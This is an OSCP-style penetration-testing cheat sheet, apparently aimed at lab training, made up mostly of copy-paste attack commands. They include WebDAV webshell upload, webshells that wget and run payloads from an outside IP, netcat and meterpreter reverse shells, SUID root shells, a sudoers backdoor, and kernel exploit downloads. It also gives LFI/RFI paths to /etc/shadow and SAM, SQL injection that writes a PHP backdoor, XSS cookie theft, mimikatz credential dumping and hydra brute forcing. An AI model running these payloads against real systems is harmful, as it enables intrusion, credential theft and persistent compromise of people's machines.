davtest -move -sendbd auto -url http://$ip

https://github.com/cldrn/davtest
You can also upload a file using the PUT method with the curl command:

curl -T 'leetshellz.txt' 'http://$ip'

And rename it to an executable file using the MOVE method with the curl command:

curl -X MOVE --header 'Destination:http://$ip/leetshellz.php'

'http://$ip/leetshellz.txt'

Upload shell using limited php shell cmd

use the webshell to download and execute the meterpreter
[curl -s –data “cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil” http://$ip/files/sh.php
[curl -s –data “cmd=chmod 777 /tmp/evil” http://$ip/files/sh.php
curl -s –data “cmd=bash -c /tmp/evil” http://$ip/files/sh.php
TFTP
mkdir /tftp
atftpd –daemon –port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
EX. FROM WINDOWS HOST:
C:\Users\Offsec>tftp -i $ip get nc.exe

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 FTP
apt-get update && apt-get install pure-ftpd

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/

/etc/init.d/pure-ftpd restart

Packing Files
Ultimate Packer for eXecutables
upx -9 nc.exe

exe2bat - Converts EXE to a text file that can be copied and pasted
locate exe2bat
wine exe2bat.exe nc.exe nc.txt

Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion

apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c

Privilege Escalation
Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse
passwords across different services and even different boxes. Maintain a list of cracked passwords
and test them on new machines you encounter.

Linux Privilege Escalation

Defacto Linux Privilege Escalation Guide - A much more through guide for linux
enumeration:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Try the obvious - Maybe the user is root or can sudo to root:

id

sudo su

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Here are the commands I have learned to use to perform linux enumeration and privledge
escalation:

What users can login to this box (Do they use thier username as thier password)?:

grep -vE "nologin|false" /etc/passwd

What kernel version are we using? Do we have any kernel exploits for this version?

uname -a

searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

What applications have active connections?:

netstat -tulpn

What services are running as root?:

ps aux | grep root

What files run as root / SUID / GUID?:

find / -perm +2000 -user root -type f -print

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory
or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not
the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not
the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f
2>/dev/null; done
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

What folders are world writeable?:

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable
folders

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 There are a few scripts that can automate the linux enumeration process:

Google is my favorite Linux Kernel exploitation search tool. Many of these automated
checkers are missing important kernel exploits which can create a very frustrating
blindspot during your OSCP course.

LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -

https://www.securitysift.com/download/linuxprivchecker.py
LinEnum - (Recently Updated)

https://github.com/rebootuser/LinEnum
linux-exploit-suggester (Recently Updated)
https://github.com/mzet-/linux-exploit-suggester
Highon.coffee Linux Local Enum - Great enumeration script!

wget https://highon.coffee/downloads/linux-local-enum.sh

Linux Privilege Exploit Suggester (Old has not been updated in years)

https://github.com/PenturaLabs/Linux_Exploit_Suggester
Linux post exploitation enumeration and exploit checking tools
https://github.com/reider-roque/linpostexp

Handy Kernel Exploits

CVE-2010-2959 - ‘CAN BCM’ Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 /
2.6.32)

https://www.exploit-db.com/exploits/14814/

wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814

$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
$ ./i-can-haz-modharden
[+] launching root shell!
# id
uid=0(root) gid=0(root)

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

https://www.exploit-db.com/exploits/15285/
CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
Linux CVE 2012-0056

wget -O exploit.c http://www.exploit-db.com/download/18411

gcc -o mempodipper exploit.c
./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

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Run a command as a user other than root

sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Add a user or change a password

/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor

echo thePassword | passwd haxzor --stdin

Local Privilege Escalation Exploit in Linux

SUID (Set owner User ID up on execution)

Often SUID C binary files are required to spawn a shell as a superuser, you can update
the UID / GID and shell as required.

below are some quick copy and paste examples for various shells:

SUID C Shell for /bin/bash

int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}

SUID C Shell for /bin/sh

int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}

Building the SUID Shell binary

gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c

Create and compile an SUID from a limited shell (no file transfer)

echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c

gcc privsc.c -o privsc

Handy command if you can get a root user to run it. Add the www-data user to Root SUDO
group with no password requirement:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers
&& chmod 440 /etc/sudoers' > /tmp/update

You may find a command is being executed by the root user, you may be able to modify the
system PATH environment variable to execute your command instead. In the example below,
ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.

set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >>
/tmp/ssh
chmod +x ssh

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SearchSploit

searchsploit –uncsearchsploit apache 2.2

searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
searchsploit slmail

Kernel Exploit Suggestions for Kernel Version 3.0.0

./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0

Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target
machine!

https://www.kernel-exploits.com/
Collect root password

cat /etc/shadow |grep root

Find and display the proof.txt or flag.txt - LOOT!

cat `find / -name proof.txt -print`

Windows Privilege Escalation

Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-
unleashed/privilege-escalation/
Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group:

whoami

net user "%username%"

Try the getsystem command using meterpreter - rarely works but is worth a try.

meterpreter > getsystem

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No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on
the fuzzy security tutorial and windows_privesc_check.py).

Copy and paste the following contents into your remote Windows shell in Kali to generate a
quick report:

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 @echo --------- BASIC WINDOWS RECON --------- > report.txt
timeout 1
net config Workstation >> report.txt
timeout 1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
timeout 1
hostname >> report.txt
timeout 1
net users >> report.txt
timeout 1
ipconfig /all >> report.txt
timeout 1
route print >> report.txt
timeout 1
arp -A >> report.txt
timeout 1
netstat -ano >> report.txt
timeout 1
netsh firewall show state >> report.txt
timeout 1
netsh firewall show config >> report.txt
timeout 1
schtasks /query /fo LIST /v >> report.txt
timeout 1
tasklist /SVC >> report.txt
timeout 1
net start >> report.txt
timeout 1
DRIVERQUERY >> report.txt
timeout 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>
report.txt
timeout 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>
report.txt
timeout 1
dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
timeout 1
findstr /si password *.xml *.ini *.txt >> report.txt
timeout 1
reg query HKLM /f password /t REG_SZ /s >> report.txt
timeout 1
reg query HKCU /f password /t REG_SZ /s >> report.txt
timeout 1
dir "C:\"
timeout 1
dir "C:\Program Files\" >> report.txt
timeout 1
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo REPORT COMPLETE!

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Windows Server 2003 and IIS 6.0 WEBDAV Exploiting
http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp >

aspshell.txt

cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=============================>] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.
dav:/> exit

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.2.3.4
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j

curl http://$ip/aspshell3.asp;.txt

[*] Started reverse TCP handler on 1.2.3.4:443

[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 1.2.3.5
[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55
-0700

Windows privledge escalation exploits are often written in Python. So, it is necessary to compile
the using pyinstaller.py into an executable and upload them to the remote server.

pip install pyinstaller

wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py

Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

https://www.exploit-db.com/exploits/6705/
https://github.com/Re4son/Churrasco

c:\Inetpub>churrasco
churrasco
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add <username> <password>"

c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"

Windows MS11-080 - http://www.exploit-db.com/exploits/18176/

python pyinstaller.py --onefile ms11-080.py

mx11-080.exe -O XP

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Powershell Exploits - You may find that some Windows privledge escalation exploits are written
in Powershell. You may not have an interactive shell that allows you to enter the powershell
prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a
powershell command from a basic (cmd.exe) shell:

MS16-032 https://www.exploit-db.com/exploits/39719/
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-
032.ps1; Invoke-MS16-032 }"

Powershell Priv Escalation Tools

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Windows Run As - Switching users in linux is trival with the SU command. However, an
equivalent command does not exist in Windows. Here are 3 ways to run a command as a
different user in Windows.

Sysinternals psexec is a handy tool for running a command on a remote or local server as
a specific user, given you have thier username and password. The following example
creates a reverse shell from a windows server to our Kali box using netcat for Windows
and Psexec (on a 64 bit system).

C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc

192.168.1.10 4444 -e cmd.exe"

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Runas.exe is a handy windows tool that allows you to run a program as another user so
long as you know thier password. The following example creates a reverse shell from a
windows server to our Kali box using netcat for Windows and Runas.exe:

C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test

"c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
Enter the password for Test:
Attempting to start nc.exe as user "COMPUTERNAME\Test" ...

PowerShell can also be used to launch a process as another user. The following simple
powershell script will run a reverse shell as the specified username and password.

$username = '<username here>'

$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username,
$securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential
$credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -
WorkingDirectory C:\Users\Public

Next run this script using powershell.exe:

powershell -ExecutionPolicy ByPass -command "& { .

C:\Users\public\PowerShellRunAs.ps1; }"

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 Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to
privilege escalation. You can replace the executable with your own and have windows execute
whatever code you want as the privileged user.
icacls scsiaccess.exe

scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)

Compile a custom add user command in windows using C

root@kali:~# cat useradd.c

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net localgroup administrators low /add");
return 0;
}

i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

Group Policy Preferences (GPP)

A common useful misconfiguration found in modern domain environments is unprotected
Windows GPP settings files

map the Domain controller SYSVOL share

net use z:\\dc01\SYSVOL

Find the GPP file: Groups.xml

dir /s Groups.xml

Review the contents for passwords

type Groups.xml

Decrypt using GPP Decrypt

gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

Find and display the proof.txt or flag.txt - get the loot!

#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type

c:\pathto\proof.txt

Client, Web and Password Attacks

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Client Attacks
MS12-037- Internet Explorer 8 Fixed Col Span ID
wget -O exploit.html http://www.exploit-db.com/download/24017
service apache2 start
JAVA Signed Jar client side attack
echo ‘’ > /var/www/html/java.html
User must hit run on the popup that occurs.

Linux Client Shells

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Setting up the Client Side Exploit

Swapping Out the Shellcode

Injecting a Backdoor Shell into Plink.exe

backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s
reverse_shell_tcp

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Web Attacks
Web Shag Web Application Vulnerability Assessment Platform
webshag-gui

Web Shells
http://tools.kali.org/maintaining-access/webshells
ls -l /usr/share/webshells/
Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
weevely generate s3cr3t
weevely http://$ip/weevely.php s3cr3t

Java Signed Applet Attack

HTTP / HTTPS Webserver Enumeration

OWASP Dirbuster

nikto -h $ip

Essential Iceweasel Add-ons

Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
Tamper Data
https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
Cross Site Scripting (XSS)
significant impacts, such as cookie stealing and authentication bypass, redirecting the
victim’s browser to a malicious HTML page, and more

Browser Redirection and IFRAME Injection

<iframe SRC="http://$ip/report" height = "0" width="0"></iframe>

Stealing Cookies and Session Information

<javascript>
new image().src="http://$ip/bogus.php?output="+document.cookie;
</script>

nc -nlvp 80

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File Inclusion Vulnerabilities
Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly
written PHP code.

fimap - There is a Python tool called fimap which can be leveraged to automate the
exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
https://github.com/kurobeats/fimap
Gaining a shell from phpinfo()
fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a
shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you
could use a tool like OWASP DirBuster.
For Local File Inclusions look for the include() function in PHP code.

include("lang/".$_COOKIE['lang']);
include($_GET['page'].".php");

LFI - Encode and Decode a file using base64

curl -s \
"http://$ip/?page=php://filter/convert.base64-encode/resource=index" \
| grep -e '\[^\\ \]\\{40,\\}' | base64 -d

LFI - Download file with base 64 encoding

http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

LFI Linux Files:

/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root

LFI Windows Files:

%SYSTEMROOT%\repair\system
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\SAM
%WINDIR%\win.ini
%SYSTEMDRIVE%\boot.ini
%WINDIR%\Panther\sysprep.inf
%WINDIR%\system32\config\AppEvent.Evt

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LFI OSX Files:
/etc/fstab
/etc/master.passwd
/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf

LFI - Download passwords file

http://$ip/index.php?page=/etc/passwd
http://$ip/index.php?file=../../../../etc/passwd

LFI - Download passwords file with filter evasion

http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
GET /addguestbook.php?
name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP
include function and the php.ini file must be configured to allow remote files

/etc/php5/cgi/php.ini - “allow_url_fopen” and “allow_url_include” both set to “on”

include($_REQUEST["file"].".php");

Remote File Inclusion

http://192.168.11.35/addguestbook.php?
name=a&comment=b&LANG=http://192.168.10.5/evil.txt

<?php echo shell\_exec("ipconfig");?>

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Database Vulnerabilities
Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a
variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:
http://sqlfiddle.com
Another site is rextester.com:

http://rextester.com/l/mysql_online_compiler

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Detecting SQL Injection Vulnerabilities.

Most modern automated scanner tools use time delay techniques to detect SQL injection
vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it
is a “blind” sql injection vulnerabilit that does not provide any data back. You know your
SQL injection is working when the server takes a LOooooong time to respond. I have
added a line comment at the end of each injection statement just in case there is additional
SQL code after the injection point.

MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a
MSSQL Server Query

Original Query

SELECT * FROM products WHERE name='Test';

Injection Value

'; WAITFOR DELAY '00:00:30'; --

Resulting Query

SELECT * FROM products WHERE name='Test'; WAITFOR DELAY

'00:00:30'; --

MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query

Original Query

SELECT * FROM products WHERE name='Test';

Injection Value

'-SLEEP(30); #

Resulting Query

SELECT * FROM products WHERE name='Test'-SLEEP(30); #

PostGreSQL Injection Time Delay Detection: Add a 30 second delay to an

PostGreSQL Query

Original Query

SELECT * FROM products WHERE name='Test';

Injection Value

'; SELECT pg_sleep(30); --

Resulting Query

SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --

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Grab password hashes from a web application mysql database called “Users” - once you
have the MySQL root username and password

mysql -u root -p -h $ip

use "Users"
show tables;
select \* from users;

Authentication Bypass

name='wronguser' or 1=1;
name='wronguser' or 1=1 LIMIT 1;

Enumerating the Database

http://192.168.11.35/comment.php?id=738)'

Verbose error message?

http://$ip/comment.php?id=738 order by 1

http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

Determine MySQL Version:

http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

Current user being used for the database connection:

http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

Enumerate database tables and column structures

http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM

information_schema.tables

Target the users table in the database

http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM

information_schema.columns where table_name='users'

Extract the name and password

http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a,

password),6 FROM users

Create a backdoor

http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo

shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

SQLMap Examples

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Crawl the links

sqlmap -u http://$ip --crawl=1

sqlmap -u http://meh.com --forms --batch --crawl=10 --

cookie=jsessionid=54321 --level=5 --risk=3

SQLMap Search for databases against a suspected GET SQL Injection

sqlmap –u http://$ip/blog/index.php?search –dbs

SQLMap dump tables from database oscommerce at GET SQL injection

sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –

dumps

SQLMap GET Parameter command

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5

SQLMap Post Username parameter

sqlmap -u http://$ip/login.php --method=POST --

data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 -
-dbms=MySQL --dump-all

SQL Map OS Shell

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell

sqlmap -u http://$ip/login.php --method=POST --

data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 -
-dbms=MySQL --os-shell

Automated sqlmap scan

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --

current-user --current-db --passwords --file-read="/var/www/blah.php"

Targeted sqlmap scan

sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent

--dump

Scan url for union + error based injection with mysql backend and use a random user
agent + database dump

sqlmap -o -u http://$ip/index.php --forms --dbs

sqlmap -o -u "http://$ip/form/" --forms

Sqlmap check form for injection

sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump

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 Enumerate databases

sqlmap --dbms=mysql -u "$URL" --dbs

Enumerate tables from a specific database

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

Dump table data from a specific database and table

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

Specify parameter to exploit

sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2"

--dbs -p param2

Specify parameter to exploit in ‘nice’ URIs (exploits param1)

sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2"

--dbs

Get OS shell

sqlmap --dbms=mysql -u "$URL" --os-shell

Get SQL shell

sqlmap --dbms=mysql -u "$URL" --sql-shell

SQL query

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM

$TABLE;"

Use Tor Socks5 proxy

sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP
journies (/cgi-bin/mongo/2.2.3/dbparse.py). NoSQLMap can help you to automate
NoSQLDatabase enumeration.

NoSQLMap Installation

git clone https://github.com/codingo/NoSQLMap.git

cd NoSQLMap/
ls
pip install couchdb
pip install pbkdf2
pip install ipcalc
python nosqlmap.py

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Often you can create an exception dump message with MongoDB using a malformed
NoSQLQuery such as:

a'; return this.a != 'BadData’'; var dummy='!

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Password Attacks
AES Decryption
http://aesencryption.net/
Convert multiple webpages into a word list

for x in 'index' 'about' 'post' 'contact' ; do \

curl http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >> webapp.txt ; \
done

Or convert html to word list dict

html2dic index.html.out | sort -u > index-html.dict

Default Usernames and Passwords

CIRT
http://www.cirt.net/passwords
Government Security - Default Logins and Passwords for Networked Devices

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworked
Devices.php
Virus.org
http://www.virus.org/default-password/
Default Password
http://www.defaultpassword.com/
Brute Force

Nmap Brute forcing Scripts

https://nmap.org/nsedoc/categories/brute.html
Nmap Generic auto detect brute force attack: nmap --script brute -Pn
<target.com or ip>

MySQL nmap brute force attack: nmap --script=mysql-brute $ip

Dictionary Files

Word lists on Kali

cd /usr/share/wordlists
Key-space Brute Force

crunch 6 6 0123456789ABCDEF -o crunch1.txt

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

crunch 8 8 -t ,@@^^%%%

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Pwdump and Fgdump - Security Accounts Manager (SAM)

pwdump.exe - attempts to extract password hashes

fgdump.exe - attempts to kill local antiviruses before attempting to dump the

password hashes and cached credentials.

Windows Credential Editor (WCE)

allows one to perform several attacks to obtain clear text passwords and hashes.
Usage: wce -w
Mimikatz

extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.
mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have
System level access):

meterpreter> load mimikatz

meterpreter> help mimikatz
meterpreter> msv
meterpreter> kerberos
meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::searchPasswords

Password Profiling

cewl can generate a password list from a web page

cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
Password Mutating

John the ripper can mutate password lists

nano /etc/john/john.conf
john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
Medusa

Medusa, initiated against an htaccess protected web directory

medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
Ncrack

ncrack (from the makers of nmap) can brute force RDP

ncrack -vv --user offsec -P password-file.txt rdp://$ip

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Hydra

Hydra brute force against SNMP

hydra -P password-file.txt -v $ip snmp

Hydra FTP known user and rockyou password list

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

Hydra SSH using a known password and a username list

hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

Hydra SSH Against Known username on port 22

hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

Hydra POP3 Brute Force

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

Hydra SMTP Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

Hydra attack http get 401 login with a dictionary

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt

rdp://$ip

Hydra brute force SMB user with rockyou:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt

$ip smb

Hydra brute force a Wordpress admin login

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-

login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
In&testcookie=1:S=Location'

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Password Hash Attacks
Online Password Cracking
https://crackstation.net/ http://finder.insidepro.com/
Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux
VM and I also had to use the –force parameter.

apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

and

apt-get install pocl-opencl-icd

Cracking Linux Hashes - /etc/shadow file

500 | md5crypt $1$, MD5(Unix) | Operating-Systems

3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems

Cracking Windows Hashes

3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems

Cracking Common Application Hashes

900 | MD4 | Raw Hash

0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash

Create a .hash file with all the hashes you want to crack puthasheshere.hash:
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash

/usr/share/wordlists/rockyou.txt

Wordpress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

Wordpress clear text: test

Hashcat example cracking Wordpress passwords using rockyou:

hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash

